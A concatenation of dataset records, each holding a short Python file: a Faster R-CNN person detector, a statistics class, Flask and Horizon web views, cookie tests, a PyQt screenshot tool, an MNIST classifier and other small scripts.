solution.isSymmetric(convert2TreeNode(nums))\n print(ans)","sub_path":"101. Symmetric Tree/solution3.py","file_name":"solution3.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"411493225","text":"import torch\nimport torchvision\nfrom torch.nn import Sigmoid\nimport numpy as np\n\nclass FastRCNN:\n\n def __init__(self):\n\n self.device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\n self.model = torchvision.models.detection.fasterrcnn_resnet50_fpn(pretrained=True).to(self.device)\n self.model.eval()\n\n\n def person_boxes(self, img):\n image_tensor = torch.from_numpy(img).to(self.device)\n image_tensor = torch.transpose(image_tensor, 0,2)\n image_tensor = torch.transpose(image_tensor, 1,2)\n image_tensor = image_tensor/255\n output = self.model([image_tensor])\n boxes = output[0]['boxes']\n labels = output[0]['labels']\n scores = output[0]['scores']\n person_boxes = []\n box_labels = []\n for i in range(labels.shape[0]):\n if scores[i] > 0.8 and labels[i] == 1:\n person_boxes.append(boxes[i])\n box_labels.append(\"Person: {}%\".format(round(float(scores[i])*100, 2)))\n return person_boxes, box_labels\n","sub_path":"src/boxes/fast_rcnn.py","file_name":"fast_rcnn.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"78489748","text":"import math\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\nclass Statistics():\n def __init__(self,listOfVals):\n self.listOfVals = listOfVals\n\n def getList(self):\n return self.listOfVals\n\n def setListOfVals(self,newList):\n self.listOfVals = newList\n\n def plotData(self,yaxisLabel = \"Y-Axis\"):\n plt.plot(self.getList())\n plt.ylabel(yaxisLabel)\n plt.show()\n\n def plotDataMean(self,yaxisLabel = \"Y-Axis\"):\n meanList = []\n for i in range(0, len(self.getList())):\n meanList.append(self.arithmeticMean())\n plt.plot(self.getList(),self.getList(),'r--',self.getList(),meanList,'r--')\n plt.ylabel(yaxisLabel)\n plt.show()\n\n def rangeList(self):\n if(len(self.getList()) >0):\n maxVal = max(self.listOfVals)\n minVal = min(self.listOfVals)\n return maxVal-minVal\n else:\n return None\n\n def mode(self):\n statDict = {}\n modeValue = None\n if len(self.getList()) != 0:\n for index in self.getList():\n if index in statDict:\n currentCount = statDict.get(index)\n statDict[index] = currentCount+1\n else:\n statDict[index] = 1\n statList = sorted(statDict.items(), key= lambda kv:(kv[1],kv[0]))\n modeValue = statList[len(statDict)-1][0]\n return modeValue\n\n def median(self):\n length = len(self.getList())\n if(length != 0):\n if(length%2 == 0):\n middleIndex = int((length/2)-1)\n indexMed = self.getList()[middleIndex]\n indexMed2 = self.getList()[middleIndex+1]\n return (indexMed+indexMed2)/2\n else:\n position = math.ceil(length/2)-1\n return self.getList()[position]\n else:\n return None\n\n def arithmeticMean(self):\n if (len(self.listOfVals) > 0):\n total = 0\n for elements in self.listOfVals:\n total += elements\n length = len(self.listOfVals)\n return total/length\n else:\n return 0\n\n def geometricMean(self):\n length = len(self.listOfVals)\n if(length >0):\n total = 1\n for index in self.listOfVals:\n total *= index\n return total**(1/length)\n else:\n return 0\n\n def harmonicMean(self):\n if(0 in self.listOfVals or len(self.listOfVals) == 0):\n return None\n else:\n length = len(self.listOfVals)\n total = 0\n for index in self.listOfVals:\n total += (1/index)\n return length/total\n\n def meanAbsoluteDeviation(self):\n if(len(self.getList())!= 0):\n mean = self.arithmeticMean()\n total = 0\n for index in self.getList():\n total += abs(mean-index)\n return total/len(self.getList())\n else:\n None\n\n def variance(self,population=True):\n size = len(self.getList())\n if(size != 0):\n mean = self.arithmeticMean()\n total = 0\n for index in self.getList():\n total+=(mean-index)**2\n if(population):\n return total/size\n else:\n return total/(size-1)\n else:\n return None\n\n def standardDeviation(self,population=True):\n if(len(self.getList()) != 0):\n if(population):\n return self.variance()**(0.5)\n else:\n return self.variance(population=False)**(0.5)\n else:\n return None\n\n def chebyshevInequality(self):\n if(len(self.getList()) != 0):\n std = self.standardDeviation()\n if(std < 1):\n return None\n else:\n return 1- (1.0/std**2)\n else:\n return None\n\n def zscore(self):\n zdict = {}\n if len(self.getList()) != 0 and len(self.getList()) != 1:\n if(self.standardDeviation() != 0):\n for i in self.getList():\n zdict[i]= (i - self.arithmeticMean()) / self.standardDeviation()\n return zdict\n else:\n return None\n elif len(self.getList()) == 1:\n return {self.getList()[0]:0}\n else:\n return None\n\n def correlationCoefficient(self):\n length = len(self.getList())\n if(length>1):\n xlist = []\n for i in range(1,length+1):\n xlist.append(i)\n defaultX = Statistics(xlist)\n if(self.zscore() != None):\n zscoreX = list(defaultX.zscore().values())\n zscoreY = []\n for value in self.getList():\n zscoreY.append(self.zscore().get(value))\n #zscoreY = list(self.zscore().values())\n sum = 0\n for i in range(0,len(zscoreX)):\n sum+= zscoreX[i]*zscoreY[i]\n return sum/(length)\n else:\n return 0\n elif(length ==1):\n return 0\n else:\n return None\n\n","sub_path":"com/project/src/PythonCrashCourse/DataScience/Statistics.py","file_name":"Statistics.py","file_ext":"py","file_size_in_byte":5307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"618823616","text":"import json\nimport os\n\nfrom flask import Blueprint, render_template, flash, request, url_for, g, make_response\nfrom flask_api.status import HTTP_200_OK, HTTP_404_NOT_FOUND, HTTP_403_FORBIDDEN, HTTP_401_UNAUTHORIZED\nfrom flask_wtf import FlaskForm\nfrom werkzeug.utils import redirect\nfrom wtforms import SubmitField, IntegerField\nfrom wtforms.validators import DataRequired\n\nfrom config import Config\nfrom gui.gui_utils import (find_animal_helper, like_animal_helper, list_animal_helper, update_access_token,\n set_response_cookie)\n\nbp = Blueprint('animals', __name__)\n\n\nclass FindAnimalForm(FlaskForm):\n animal_id = IntegerField('Идентификатор животного:',\n validators=[DataRequired(\"Пожалуйста, введите корректный идентификатор\")])\n submit = SubmitField('Найти')\n\n\nclass LikeAnimalForm(FlaskForm):\n submit = SubmitField('Мне нравится')\n\n\n@bp.route('/animals', methods=['GET', 'POST'])\ndef animals_all():\n if request.method == 'POST':\n size = request.form[\"size\"]\n return redirect(url_for('animals.animals_all', page=1, size=size))\n\n page = request.args.get('page', type=int, default=1)\n size = request.args.get('size', type=int, default=5)\n\n if page <= 0 or size <= 0:\n page = 1\n size = 5\n\n response = list_animal_helper(page, size)\n\n if response.status_code == HTTP_200_OK:\n animals = json.loads(response.content)\n prev_url = None\n next_url = None\n if animals is not None:\n if page > 1:\n prev_response = list_animal_helper(page - 1, size)\n if prev_response.status_code == HTTP_200_OK:\n prev_url = url_for('animals.animals_all', page=page - 1, size=size)\n\n next_response = list_animal_helper(page + 1, size)\n if next_response.status_code == HTTP_200_OK:\n next_url = url_for('animals.animals_all', page=page + 1, size=size)\n\n return render_template('animals/animals_all.html',\n animals=animals['animals'],\n prev_url=prev_url,\n next_url=next_url)\n else:\n flash('Неизвестная ошибка', 'danger')\n return render_template('animals/animals_all.html')\n else:\n if response.status_code == HTTP_404_NOT_FOUND:\n flash('База данных животных пуста', 'danger')\n return render_template('animals/animals_all.html')\n try:\n flash(json.loads(response.data), 'danger')\n except:\n flash('Неизвестная ошибка', 'danger')\n return render_template('animals/animals_all.html')\n\n\n@bp.route('/animals/find', methods=['GET', 'POST'])\ndef animal_find():\n find_animal_form = FindAnimalForm()\n if request.method == 'GET':\n return render_template('animals/animal_find.html',\n form=find_animal_form,\n found=False)\n\n if request.method == 'POST':\n if not find_animal_form.validate_on_submit():\n return render_template('animals/animal_find.html',\n form=find_animal_form,\n found=False)\n\n animal_id = request.form[\"animal_id\"]\n response = find_animal_helper(animal_id)\n\n if response.status_code == HTTP_200_OK:\n return redirect(url_for('animals.animal_info', animal_id=str(animal_id)))\n if response.status_code == HTTP_404_NOT_FOUND:\n flash('Животное не найдено', 'danger')\n return redirect(url_for('animals.animal_find'))\n else:\n try:\n flash(json.loads(response.data), 'danger')\n except:\n flash('Неизвестная ошибка', 'danger')\n return redirect(url_for('animals.animal_find'))\n\n\n@bp.route('/animals/', methods=['GET', 'POST'])\ndef animal_info(animal_id):\n like_animal_btn = LikeAnimalForm()\n\n if request.method == 'GET':\n response = find_animal_helper(animal_id)\n if response.status_code == HTTP_200_OK:\n animal = json.loads(response.content)\n\n if os.path.isfile(Config.GUI_IMAGES_PATH + 'animal_' + str(animal['id']) + '.jpg'):\n image_path = 'images/animal_' + str(animal['id']) + '.jpg'\n else:\n image_path = 'images/no_image.jpg'\n\n return render_template('animals/animal_info.html',\n title='Подробная информация о животном',\n animal=animal,\n image_path=image_path,\n button=like_animal_btn)\n if response.status_code == HTTP_404_NOT_FOUND:\n flash('Животное с указанным идентификатором не существует', 'danger')\n return redirect(url_for('animals.animal_find'))\n else:\n try:\n flash(json.loads(response.data), 'danger')\n except:\n flash('Неизвестная ошибка', 'danger')\n return redirect(url_for('animals.animal_find'))\n\n if request.method == 'POST':\n if not g.is_authorized:\n flash('Нужно авторизоваться, чтобы продолжить', 'info')\n return redirect(url_for('users.auth'))\n\n response = like_animal_helper(g.login, animal_id)\n\n access_token = None\n if response.status_code == HTTP_403_FORBIDDEN:\n access_token = update_access_token()\n if access_token:\n response = like_animal_helper(g.login, animal_id, access_token)\n\n if response.status_code == HTTP_200_OK:\n flash('Популярность животного успешно увеличена', 'success')\n response = make_response(redirect(url_for('animals.animal_info', animal_id=str(animal_id))))\n return set_response_cookie(response, access_token)\n else:\n if response.status_code in [HTTP_403_FORBIDDEN, HTTP_401_UNAUTHORIZED]:\n flash('Нужно авторизоваться, чтобы продолжить', 'info')\n response = make_response(redirect(url_for('users.logout')))\n return response\n try:\n flash(json.loads(response.data), 'danger')\n except:\n flash('Неизвестная ошибка', 'danger')\n response = make_response(redirect(url_for('animals.animal_info', animal_id=str(animal_id))))\n return set_response_cookie(response, access_token)\n","sub_path":"gui/routes/animals_routes.py","file_name":"animals_routes.py","file_ext":"py","file_size_in_byte":6912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"167545132","text":"from masonite.request import Request\nfrom masonite.auth.Sign import Sign\nfrom cryptography.fernet import Fernet\n\nwsgi_request = {\n 'wsgi.version': (1, 0),\n 'wsgi.multithread': False,\n 'wsgi.multiprocess': True,\n 'wsgi.run_once': False,\n 'SERVER_SOFTWARE': 'gunicorn/19.7.1',\n 'REQUEST_METHOD': 'GET',\n 'QUERY_STRING': 'application=Masonite',\n 'RAW_URI': '/',\n 'SERVER_PROTOCOL': 'HTTP/1.1',\n 'HTTP_HOST': '127.0.0.1:8000',\n 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'HTTP_UPGRADE_INSECURE_REQUESTS': '1',\n 'HTTP_COOKIE': '',\n 'HTTP_USER_AGENT': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7',\n 'HTTP_ACCEPT_LANGUAGE': 'en-us',\n 'HTTP_ACCEPT_ENCODING': 'gzip, deflate',\n 'HTTP_CONNECTION': 'keep-alive',\n 'wsgi.url_scheme': 'http',\n 'REMOTE_ADDR': '127.0.0.1',\n 'REMOTE_PORT': '62241',\n 'SERVER_NAME': '127.0.0.1',\n 'SERVER_PORT': '8000',\n 'PATH_INFO': '/',\n 'SCRIPT_NAME': ''\n}\n\nSECRET_KEY = 'pK1tLuZA8-upZGz-NiSCP_UVt-fxpxd796TaG6-dp8Y='\nREQUEST = Request(wsgi_request).key(SECRET_KEY)\n\n\ndef test_set_and_get_cookie():\n REQUEST.cookie('test', 'testvalue')\n assert REQUEST.get_cookie('test') == 'testvalue'\n\n\ndef test_set_and_get_multiple_cookies():\n REQUEST.cookie('cookie1', 'cookie1value')\n REQUEST.cookie('cookie2', 'cookie2value')\n\n assert REQUEST.get_cookie('cookie1') == 'cookie1value'\n assert REQUEST.get_cookie('cookie2') == 'cookie2value'\n\n\ndef test_set_cookie_without_encryption():\n REQUEST.cookie('notencrypted', 'value', False)\n\n assert REQUEST.get_cookie('notencrypted', False) == 'value'\n\n\ndef test_set_and_get_cookie_with_no_existing_cookies():\n REQUEST.environ['HTTP_COOKIE'] = ''\n REQUEST.cookie('test', 'testvalue')\n assert REQUEST.get_cookie('test') == 'testvalue'\n\n\ndef test_set_and_get_cookie_with_existing_cookie():\n REQUEST.environ['HTTP_COOKIE'] = 'cookie=true'\n REQUEST.cookie('test', 'testvalue')\n assert REQUEST.get_cookie('test') == 'testvalue'\n","sub_path":"tests/test_cookie_signing.py","file_name":"test_cookie_signing.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"576862231","text":"# Copyright 2016, ChinaNetCenter Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport logging\n\nfrom django.core.urlresolvers import reverse\nfrom django.utils.translation import string_concat # noqa\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom horizon import exceptions\nfrom horizon import forms\nfrom horizon import tables\n\nfrom neutronclient.common.exceptions import Conflict\n\nfrom openstack_dashboard import api\nfrom openstack_dashboard.usage import quotas\n\nLOG = logging.getLogger(__name__)\n\n\nclass LaunchLink(tables.LinkAction):\n name = \"launch\"\n verbose_name = _(\"Launch Load Balancer\")\n url = \"horizon:network:loadbalancersv2:launch\"\n classes = (\"btn-launch\", \"ajax-modal\")\n policy_rules = ((\"network\", \"create_loadbalancer\"),)\n\n def allowed(self, request, datum):\n usages = quotas.tenant_quota_loadbalancer_usages(request)\n if usages['loadbalancer']['available'] <= 0:\n if \"disabled\" not in self.classes:\n self.classes = [c for c in self.classes] + ['disabled']\n self.verbose_name = string_concat(self.verbose_name, ' ',\n _(\"(Load balancer\"\n \" quota exceeded)\"))\n else:\n self.verbose_name = _(\"Launch Load Balancer\")\n classes = [c for c in self.classes if c != \"disabled\"]\n self.classes = classes\n\n return True\n\n\nclass TerminateLoadBalancer(tables.BatchAction):\n name = \"terminate\"\n action_present = _(\"Terminate\")\n action_past = _(\"Terminated\")\n data_type_singular = _(\"Load Balancer\")\n data_type_plural = _(\"Load Balancers\")\n classes = ('btn-danger', 'btn-terminate')\n policy_rules = ((\"network\", \"delete_loadbalancer\"),)\n redirect_url = 'horizon:network:loadbalancersv2:index'\n\n def allowed(self, request, loadbalancer=None):\n return True\n\n def action(self, request, obj_id):\n try:\n api.lbaasv2.loadbalancer_delete(request, obj_id)\n except Conflict:\n msg = _('There have been some listeners using this loadbalancer.')\n redirect = reverse(self.redirect_url)\n exceptions.handle(request, msg, redirect=redirect)\n except Exception as e:\n LOG.error('Failed to delete loadbalancer: %s' % e.message)\n msg = _('Failed to delete loadbalancer.')\n redirect = reverse(self.redirect_url)\n exceptions.handle(request, msg, redirect=redirect)\n\n\nclass AssociateFloatingIP(tables.LinkAction):\n name = \"associate_fip\"\n verbose_name = _(\"Associate Floating IP\")\n url = \"horizon:network:loadbalancersv2:associate\"\n classes = (\"ajax-modal\", \"btn-edit\")\n policy_rules = ((\"network\", \"associate_floating_ip\"),)\n\n def allowed(self, request, datum=None):\n if not datum or \\\n not datum.provisioning_status == \"ACTIVE\":\n return False\n\n admin_state = getattr(datum, 'admin_state_up', True)\n if not admin_state:\n return False\n\n if datum.public_ip:\n return False\n\n return True\n\n\nclass DisassociateFloatingIP(tables.BatchAction):\n name = \"disassociate_fip\"\n verbose_name = _(\"Disassociate Floating IP\")\n classes = ('btn-danger',)\n action_present = _(\"Disassociate\")\n action_past = _(\"Disassociated\")\n data_type_singular = _(\"Floating IP\")\n policy_rules = ((\"network\", \"disassociate_floating_ip\"),)\n failure_url = 'horizon:network:loadbalancersv2:index'\n success_url = 'horizon:network:loadbalancersv2:index'\n\n def action(self, request, obj_id):\n obj = self.table.get_object_by_id(obj_id)\n try:\n floatingips = api.neutron.FloatingIpManager(request).\\\n list(floating_ip_address=obj.public_ip)\n api.neutron.FloatingIpManager(request).\\\n disassociate(floatingips[0]['id'], None)\n except Exception as e:\n msg = _('Failed to disassociate floating IP.')\n LOG.error('Failed to disassociate floating ip: %s' % e.message)\n redirect = reverse(self.failure_url)\n exceptions.handle(request, msg, redirect=redirect)\n\n def get_success_url(self, request):\n return reverse(self.success_url)\n\n def allowed(self, request, datum=None):\n if datum.public_ip:\n return True\n\n return False\n\n\nclass UpdateRow(tables.Row):\n ajax = True\n\n def get_data(self, request, lb_id):\n try:\n loadbalancer = api.lbaasv2.loadbalancer_get(request, lb_id)\n except Exception as e:\n msg = _('Unable to get load balancer.')\n LOG.error('Unable to get load balancer: %s' % e.message)\n exceptions.handle(request, msg, ignore=True)\n\n return loadbalancer\n\n\nSTATUS_CHOICES = (\n (_(\"active\"), True),\n (_(\"fault\"), False),\n)\n\n\nSTATUS_DISPLAY_CHOICES = (\n (\"PENDING_CREATE\", _(\"pending create\")),\n (\"PENDING_UPDATE\", _(\"pending update\")),\n (\"PENDING_DELETE\", _(\"pending delete\")),\n (\"ACTIVE\", _(\"active\")),\n (\"ERROR\", _(\"fault\")),\n)\n\n\nNET_TYPE_DISPLAY_CHOICES = (\n (\"0\", _(\"private net\")),\n (\"1\", _(\"shared net\")),\n)\n\n\nclass LoadBalancerFilterAction(tables.FilterAction):\n\n def filter(self, table, loadbalancers, filter_string):\n \"\"\"Naive case-insensitive search.\"\"\"\n q = filter_string.lower()\n return [loadbalancer for loadbalancer in loadbalancers\n if q in loadbalancer.name.lower()]\n\n\nclass UpdateCell(tables.UpdateAction):\n policy_rules = ((\"network\", \"update_lb_name\"),)\n\n def allowd_action(self, request, loadbalancer, cell):\n status = getattr(loadbalancer, \"provisioning_status\", None)\n if status == 'PENDING_DELETE':\n return False\n return True\n\n def update_cell(self, request, datum, loadbalancer_id,\n cell_name, new_cell_value):\n try:\n api.lbaasv2.loadbalancer_update(\n request, loadbalancer_id, name=new_cell_value\n )\n except Exception:\n exceptions.handle(request, ignore=True)\n return False\n return True\n\n\nclass LoadBalancersTable(tables.DataTable):\n lb_id = tables.Column(\"id\",\n link=(\"horizon:network:loadbalancersv2:detail\"),\n verbose_name=_(\"ID\"))\n\n msg = _(\"Name must consist of number, letter or underscore.\")\n name = tables.Column(\"name\", verbose_name=_(\"Name\"),\n form_field=forms.RegexField(\n max_length=30, regex=r\"^[a-zA-Z0-9_-]+$\",\n help_text=msg,\n error_messages={\"invalid\": msg},\n required=True),\n update_action=UpdateCell)\n\n status = tables.Column(\"provisioning_status\",\n status=True,\n status_choices=STATUS_CHOICES,\n display_choices=STATUS_DISPLAY_CHOICES,\n verbose_name=_(\"Provisioning Status\"))\n\n net_type = tables.Column(\"net_type\",\n display_choices=NET_TYPE_DISPLAY_CHOICES,\n verbose_name=_(\"Network Type\"))\n\n vip = tables.Column(\"vip_address\",\n verbose_name=_(\"VIP\"))\n\n public_ip = tables.Column(\"public_ip\",\n verbose_name=_(\"Pubic IP\"))\n\n class Meta(object):\n name = \"loadbalancersv2\"\n verbose_name = _(\"Load Balancers\")\n status_columns = [\"status\"]\n row_class = UpdateRow\n table_actions = (LaunchLink, LoadBalancerFilterAction)\n row_actions = (AssociateFloatingIP, DisassociateFloatingIP,\n TerminateLoadBalancer)\n","sub_path":"horizon/openstack_dashboard/dashboards/network/loadbalancersv2/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":8363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"132478347","text":"#!/usr/bin/python\nimport json\nimport socket\nimport os\nimport sys\n\ndef nodesInsert(idx,ipaddr):\n print(idx,ipaddr)\n arr_nodes='{\"node\":{\"hostnames\":{},\"zone\":1},\"devices\":[{\"name\":\"/dev/sdb\",\"destroydata\": false},{\"name\":\"/dev/sdc\",\"destroydata\": false}]}'\n dict_nodes=json.loads(arr_nodes)\n dict_cluster[\"clusters\"][0][\"nodes\"].append(dict_nodes)\n arr_hostnames='{\"manage\": [\"'+ipaddr[0]+'\"], \"storage\": [\"'+ipaddr[2][0]+'\"]}'\n dict_hostnames=json.loads(arr_hostnames)\n dict_cluster[\"clusters\"][0][\"nodes\"][idx][\"node\"][\"hostnames\"]=dict_hostnames\n\nfnTopology = \"/tmp/aaa.json\"\nif os.path.isfile(fnTopology):\n with open(fnTopology) as json_file: \n dict_cluster = json.load(json_file)\nelse:\n arr_cluster='{\"clusters\": [{\"nodes\": []}]}'\n dict_cluster=json.loads(arr_cluster)\n\nidx=len(dict_cluster['clusters'][0]['nodes'])\nipaddr = socket.gethostbyname_ex(sys.argv[1])\narr_nodes='{\"node\":{\"hostnames\":{},\"zone\":1},\"devices\":[{\"name\":\"/dev/sdb\",\"destroydata\": false},{\"name\":\"/dev/sdc\",\"destroydata\": false}]}'\ndict_nodes=json.loads(arr_nodes)\ndict_cluster[\"clusters\"][0][\"nodes\"].append(dict_nodes)\narr_hostnames='{\"manage\": [\"'+ipaddr[0]+'\"], \"storage\": [\"'+ipaddr[2][0]+'\"]}'\ndict_hostnames=json.loads(arr_hostnames)\ndict_cluster[\"clusters\"][0][\"nodes\"][idx][\"node\"][\"hostnames\"]=dict_hostnames\n\n#print(json.dumps(dict_cluster, indent = 4, sort_keys=True))\n\n#pp.pprint(dict_cluster)\nwith open(fnTopology , 'w') as outfile:\n json.dump(dict_cluster, outfile, indent=2)\n\n","sub_path":"util/cwk01.py","file_name":"cwk01.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"359019304","text":"import numpy as np\r\nimport sys\r\nimport cv2\r\nimport PIL\r\nfrom PIL import ImageGrab, ImageQt, ImageFilter, ImageEnhance\r\n# from PIL.ImageQt import ImageQt\r\n\r\nfrom PyQt5 import QtWidgets, QtCore, QtGui\r\n# from PyQt5.QtCore import Qt\r\nfrom screeninfo import get_monitors\r\nimport main \r\n\r\nclass MainWindow(QtWidgets.QMainWindow):\r\n def __init__(self, parent=None, monitor_number=None, screen_width=None, screen_height=None, shot=None):\r\n # TODO Change monitor variables to *args, maybe\r\n super().__init__(parent)\r\n # QtWidgets.QMainWindow.__init__(self, parent) probably not needed\r\n\r\n self.monitor_number = int(monitor_number) - 1 #Qt is starting reading screen number from 0\r\n self.screen_width = int(screen_width)\r\n self.screen_height = int(screen_height)\r\n self.shot = shot\r\n # no idea why it is here\r\n # self.screenshot_tool_widget = Screenshot_tool(parent=self)\r\n # self.setCentralWidget(self.screenshot_tool_widget)\r\n\r\n self.starter()\r\n\r\n def starter(self):\r\n self.setGeometry(0, 0, self.screen_width, self.screen_height)\r\n # self.setWindowTitle(' ')\r\n self.begin = QtCore.QPoint()\r\n self.setWindowFlags(QtCore.Qt.WindowStaysOnTopHint)\r\n self.setWindowFlags(QtCore.Qt.FramelessWindowHint) #no title bar\r\n # self.setWindowOpacity(0.3) window transparency\r\n self.monitor = QtWidgets.QDesktopWidget().screenGeometry(self.monitor_number)\r\n self.move(self.monitor.left(), self.monitor.top())\r\n # self.shot = self.shot.point(lambda p: p * 0.9)\r\n # # ImageFilter.GaussianBlur(radius=2) \r\n # self.shot = self.shot.filter(ImageFilter.GaussianBlur(radius=1))\r\n # enhancer = ImageEnhance.Contrast(self.shot)\r\n # self.shot = enhancer.enhance(4.0)\r\n\r\n self.qimage = ImageQt.ImageQt(self.shot)\r\n\r\n label = QtWidgets.QLabel(self)\r\n pixmap = QtGui.QPixmap.fromImage(self.qimage)\r\n label.setPixmap(pixmap)\r\n self.setCentralWidget(label)\r\n\r\n QtWidgets.QApplication.setOverrideCursor(QtGui.QCursor(QtCore.Qt.CrossCursor))\r\n\r\n self.show()\r\n\r\n def keyPressEvent(self, event): #q for exit\r\n if event.key() == QtCore.Qt.Key_Q:\r\n # print('Quit')\r\n self.close()\r\n event.accept()\r\n\r\n def mousePressEvent(self, event):\r\n self.start = event.pos()\r\n # print(main.widget.INSTANCES)\r\n print(self.start)\r\n # self.end = self.start\r\n self.update()\r\n\r\n def mouseMoveEvent(self, event):\r\n self.end = event.pos()\r\n print(self.end)\r\n self.update()\r\n\r\n\r\n\r\n\r\n\r\n# class Screenshot_tool(QtWidgets.QWidget):\r\n# def __init__(self, parent=None):\r\n# super().__init__(parent)\r\n# QtWidgets.QWidget.__init__(self, parent)\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n monitors_resolution = []\r\n def monitors_info():\r\n for i, monitor_data in enumerate(get_monitors()):\r\n splited = str(monitor_data).split(',')\r\n monitor = [str(splited[-1].split('DISPLAY')[-1].split(\"'\")[0]),\r\n str(splited[-3].split('=')[-1]),\r\n str(splited[-2].split('=')[-1])]\r\n \r\n monitors_resolution.append(monitor)\r\n\r\n monitors_info()\r\n print(monitors_resolution)\r\n\r\n app = QtWidgets.QApplication(sys.argv)\r\n\r\n instance = MainWindow(monitor_number=monitors_resolution[0][0], #ScreenshotWidget\r\n screen_width=monitors_resolution[0][1], \r\n screen_height=monitors_resolution[0][2])\r\n\r\n # instance.show()\r\n sys.exit(app.exec_()) \r\n","sub_path":"make_screenshot.py","file_name":"make_screenshot.py","file_ext":"py","file_size_in_byte":3694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"116722501","text":"#!/usr/bin/python\n\nimport math\n\ndef recipe_batches(recipe, ingredients):\n missing = [ingredient for ingredient in recipe.keys() if ingredient not in ingredients.keys()]\n\n if len(missing) > 0:\n return 0\n\n whole_amounts = []\n for i in recipe:\n whole_amounts.append(math.floor(ingredients[i]/recipe[i]))\n\n return min(whole_amounts)\n\n\nif __name__ == '__main__':\n # Change the entries of these dictionaries to test \n # your implementation with different inputs\n recipe = { 'milk': 100, 'butter': 50, 'flour': 5 }\n ingredients = { 'milk': 132, 'butter': 48, 'flour': 51 }\n print(\"{batches} batches can be made from the available ingredients: {ingredients}.\".format(batches=recipe_batches(recipe, ingredients), ingredients=ingredients))","sub_path":"recipe_batches/recipe_batches.py","file_name":"recipe_batches.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"428455693","text":"import tensorflow as tf \nfrom tensorflow.examples.tutorials.mnist import input_data\n\n# classification 分类器\n\nmnist = input_data.read_data_sets('MNIST_data', one_hot=True)\n\ndef add_layer(inputs, in_size, out_size, activation_function=None):\n Weights = tf.Variable(tf.random_normal([in_size, out_size]))\n biases = tf.Variable(tf.zeros([1, out_size]) + 0.1)\n Wx_plus_b = tf.matmul(inputs, Weights) + biases\n if activation_function is None:\n outputs = Wx_plus_b\n else:\n outputs = activation_function(Wx_plus_b)\n return outputs\n\ndef compute_accuracy(v_xs, v_ys):\n global prediction\n # 预测y的值\n y_pre = sess.run(prediction, feed_dict={xs: v_xs})\n # 预测的y值和真是值之间的差别\n correct_prediction = tf.equal(tf.argmax(y_pre,1), tf.argmax(v_ys,1))\n # 计算这组数据中多少是对的,多少时错的\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n # 返回百分比\n result = sess.run(accuracy, feed_dict={xs: v_xs, ys: v_ys})\n return result\n\n\n# 每张图片的分辨率是28×28,所以我们的训练网络输入应该是28×28=784个像素数据。\nxs = tf.placeholder(tf.float32, [None, 784]) # 28x28\n\n# 每张图片都表示一个数字,所以我们的输出是数字0到9,共10类。\nys = tf.placeholder(tf.float32, [None, 10])\n\n# 添加输出层 输入为xs, 输入数据784个特征, 输出数据10个特征,激励函数为softmax \nprediction = add_layer(xs, 784, 10, activation_function=tf.nn.softmax)\n\n# 预测值和真实值间的误差\n# loss函数(即最优化目标函数)选用交叉熵函数。\n# 交叉熵用来衡量预测值和真实值的相似程度,如果完全相同,它们的交叉熵等于零。\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(ys * tf.log(prediction), reduction_indices=[1])) # loss\n\n# train方法(最优化算法)采用梯度下降法。\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\n\n\n# 进行训练\nfor i in range(1000):\n # 每次选取100张图片进行训练\n batch_xs, batch_ys = mnist.train.next_batch(100)\n sess.run(train_step, feed_dict={xs: batch_xs, ys: batch_ys})\n\n # 每50次输出训练精度\n if i%50 == 0:\n print(compute_accuracy(mnist.test.images, mnist.test.labels))\n","sub_path":"09_classification.py","file_name":"09_classification.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"582231011","text":"from classes import *\n\n\ncircle = Circle(1, 2, 8)\nsquare = Square(4, 4)\ntriangle = Triangle(5, 5, 5)\nb = [circle, square, triangle]\ns = []\nfor i in b:\n s.append(i.area())\nprint(s)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"440495975","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# (C) 2013 Pengkui Luo \n# Created 06/19/2013, updated 08/19/2013\n#\n\"\"\" List of DNSBL services or DNS based antivirus services.\n\"\"\"\n__all__ = [\n 'is_dnsbl_service',\n 'is_dnsav_service',\n 